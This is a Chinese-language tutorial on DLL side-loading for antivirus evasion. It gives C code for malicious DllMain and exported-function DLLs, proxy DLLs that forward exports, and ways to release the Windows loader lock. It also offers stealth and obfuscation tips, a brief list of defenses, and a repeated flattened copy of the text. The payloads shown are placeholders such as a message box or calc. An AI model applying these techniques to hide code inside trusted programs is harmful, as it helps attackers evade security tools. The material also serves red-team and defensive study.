免杀基础-dll侧加载
字数 1721 2025-08-29 08:30:24

DLL侧加载免杀技术详解

一、DLL加载顺序基础

1. Windows DLL搜索顺序

Windows系统加载DLL时遵循特定的搜索顺序,分为两种情况:

SafeDllSearchMode启用时(默认启用)的搜索顺序:

  1. 应用程序所在目录
  2. 系统目录(C:\Windows\System32
  3. 16位系统目录(C:\Windows\System
  4. Windows目录(C:\Windows
  5. 当前工作目录
  6. PATH环境变量中列出的目录

SafeDllSearchMode禁用时的搜索顺序:

  1. 应用程序所在目录
  2. 当前工作目录
  3. 系统目录
  4. 16位系统目录
  5. Windows目录
  6. PATH环境变量中列出的目录

2. Known DLLs机制

  • 位于注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 这些DLL默认从C:\Windows\System32下加载
  • 如果内存中已加载同名DLL,系统会直接使用已加载的DLL而不再搜索

二、DLL侧加载技术原理

DLL侧加载(Side-Loading)利用Windows的DLL搜索顺序,将恶意DLL放置在应用程序目录或搜索路径中更优先的位置,使得合法程序加载时优先加载我们的DLL而非系统目录中的合法DLL。

1. 技术分类

基于DllMain的实现

  • 在DLL的入口函数DllMain中执行恶意代码
  • 缺点:DllMain执行时会加锁,必须等待前一个DLL加载完成后才能加载下一个DLL

基于导出函数的实现

  • 实现目标程序实际调用的导出函数
  • 优点:不会受到加载锁的限制,执行效率更高

三、实践步骤

1. 识别目标程序的DLL依赖

使用Process Monitor工具观察DLL加载情况:

  1. 配置Filter:
    • 操作(Operation):Load Image
    • 进程名(Process Name):目标进程名称
  2. 重点关注:
    • 不在Known DLLs列表中的DLL
    • 从非系统目录加载的DLL

2. 创建恶意DLL

简单示例(基于DllMain):

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        MessageBox(NULL, "DLL Loaded!", "Alert", MB_OK);
    }
    return TRUE;
}

编译后将DLL重命名为目标程序会加载的DLL名称(如dbgcore.dll

基于导出函数的实现(以netplwiz.exe为例):

  1. 使用调试器分析netplwiz.exe加载的netplwiz.dll的导出函数
  2. 发现程序会调用UsersRunDllW函数
  3. 实现该导出函数:
// 注意不要使用extern "C",避免名称粉碎
__declspec(dllexport) void UsersRunDllW() {
    MessageBox(NULL, "Malicious Code Executed!", "Alert", MB_OK);
    // 这里可以执行任意恶意代码
}

3. DLL代理技术

为了使程序仍能正常执行原有功能,需要使用DLL代理技术:

  1. 将原始DLL重命名(如iscsidscOri.dll
  2. 创建代理DLL,实现:
    • 恶意代码
    • 将所有导出函数转发到原始DLL

示例代码:

#pragma comment(linker,"/EXPORT:AddISNSServerA=iscsidscOri.AddISNSServerA")
#pragma comment(linker,"/EXPORT:AddISNSServerW=iscsidscOri.AddISNSServerW")
// 其他所有导出函数都这样转发

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // 执行恶意代码
        system("calc.exe");
    }
    return TRUE;
}

四、高级技巧:处理LoaderLock问题

在DllMain中执行复杂操作可能导致死锁,需要释放LoaderLock:

1. 使用LdrUnlockLoaderLock

typedef NTSTATUS (NTAPI *LdrUnlockLoaderLockFunc)(ULONG_PTR Cookie, ULONG Flags);

void ReleaseLoaderLock() {
    HMODULE hNtDll = GetModuleHandle("ntdll.dll");
    LdrUnlockLoaderLockFunc pLdrUnlockLoaderLock = 
        (LdrUnlockLoaderLockFunc)GetProcAddress(hNtDll, "LdrUnlockLoaderLock");
    
    if (pLdrUnlockLoaderLock) {
        pLdrUnlockLoaderLock(0, 1); // 注意cookie和flags的限制
    }
}

2. 直接调用LdrpReleaseLoaderLock(未导出函数)

需要通过特征码搜索该函数地址:

// 特征码搜索示例
ULONG_PTR FindLdrpReleaseLoaderLock() {
    // 实现特征码搜索逻辑...
}

void ReleaseLoaderLockAdvanced() {
    typedef NTSTATUS (NTAPI *LdrpReleaseLoaderLockFunc)(ULONG Flags);
    LdrpReleaseLoaderLockFunc pLdrpReleaseLoaderLock = 
        (LdrpReleaseLoaderLockFunc)FindLdrpReleaseLoaderLock();
    
    if (pLdrpReleaseLoaderLock) {
        pLdrpReleaseLoaderLock(0);
    }
}

五、实战建议

  1. 目标选择

    • 优先选择第三方签名程序而非系统程序(C:\Windows\System32下的程序)
    • 系统程序从非系统目录加载DLL会显得可疑
  2. 隐蔽性

    • 实现所有导出函数,避免程序功能异常
    • 使用DLL代理技术保持程序原有功能
  3. 免杀增强

    • 对恶意DLL进行代码混淆
    • 使用延迟加载技术
    • 实现内存中执行payload而非直接调用可疑API

六、防御措施

  1. 启用SafeDllSearchMode(默认已启用)
  2. 设置HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode为1
  3. 使用CWDIllegalInDllSearch注册表值限制从当前目录加载DLL
  4. 监控非系统目录的DLL加载行为
  5. 定期检查KnownDLLs注册表项

通过深入理解DLL加载机制和侧加载技术,安全研究人员可以更好地防御此类攻击,而红队人员则可以更有效地实施测试。

DLL侧加载免杀技术详解 一、DLL加载顺序基础 1. Windows DLL搜索顺序 Windows系统加载DLL时遵循特定的搜索顺序,分为两种情况: SafeDllSearchMode启用时(默认启用)的搜索顺序: 应用程序所在目录 系统目录( C:\Windows\System32 ) 16位系统目录( C:\Windows\System ) Windows目录( C:\Windows ) 当前工作目录 PATH环境变量中列出的目录 SafeDllSearchMode禁用时的搜索顺序: 应用程序所在目录 当前工作目录 系统目录 16位系统目录 Windows目录 PATH环境变量中列出的目录 2. Known DLLs机制 位于注册表: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 这些DLL默认从 C:\Windows\System32 下加载 如果内存中已加载同名DLL,系统会直接使用已加载的DLL而不再搜索 二、DLL侧加载技术原理 DLL侧加载(Side-Loading)利用Windows的DLL搜索顺序,将恶意DLL放置在应用程序目录或搜索路径中更优先的位置,使得合法程序加载时优先加载我们的DLL而非系统目录中的合法DLL。 1. 技术分类 基于DllMain的实现 在DLL的入口函数DllMain中执行恶意代码 缺点:DllMain执行时会加锁,必须等待前一个DLL加载完成后才能加载下一个DLL 基于导出函数的实现 实现目标程序实际调用的导出函数 优点:不会受到加载锁的限制,执行效率更高 三、实践步骤 1. 识别目标程序的DLL依赖 使用Process Monitor工具观察DLL加载情况: 配置Filter: 操作(Operation): Load Image 进程名(Process Name):目标进程名称 重点关注: 不在Known DLLs列表中的DLL 从非系统目录加载的DLL 2. 创建恶意DLL 简单示例(基于DllMain): 编译后将DLL重命名为目标程序会加载的DLL名称(如 dbgcore.dll ) 基于导出函数的实现(以netplwiz.exe为例): 使用调试器分析netplwiz.exe加载的netplwiz.dll的导出函数 发现程序会调用 UsersRunDllW 函数 实现该导出函数: 3. DLL代理技术 为了使程序仍能正常执行原有功能,需要使用DLL代理技术: 将原始DLL重命名(如 iscsidscOri.dll ) 创建代理DLL,实现: 恶意代码 将所有导出函数转发到原始DLL 示例代码: 四、高级技巧:处理LoaderLock问题 在DllMain中执行复杂操作可能导致死锁,需要释放LoaderLock: 1. 使用LdrUnlockLoaderLock 2. 直接调用LdrpReleaseLoaderLock(未导出函数) 需要通过特征码搜索该函数地址: 五、实战建议 目标选择 : 优先选择第三方签名程序而非系统程序( C:\Windows\System32 下的程序) 系统程序从非系统目录加载DLL会显得可疑 隐蔽性 : 实现所有导出函数,避免程序功能异常 使用DLL代理技术保持程序原有功能 免杀增强 : 对恶意DLL进行代码混淆 使用延迟加载技术 实现内存中执行payload而非直接调用可疑API 六、防御措施 启用SafeDllSearchMode(默认已启用) 设置 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 为1 使用CWDIllegalInDllSearch注册表值限制从当前目录加载DLL 监控非系统目录的DLL加载行为 定期检查KnownDLLs注册表项 通过深入理解DLL加载机制和侧加载技术,安全研究人员可以更好地防御此类攻击,而红队人员则可以更有效地实施测试。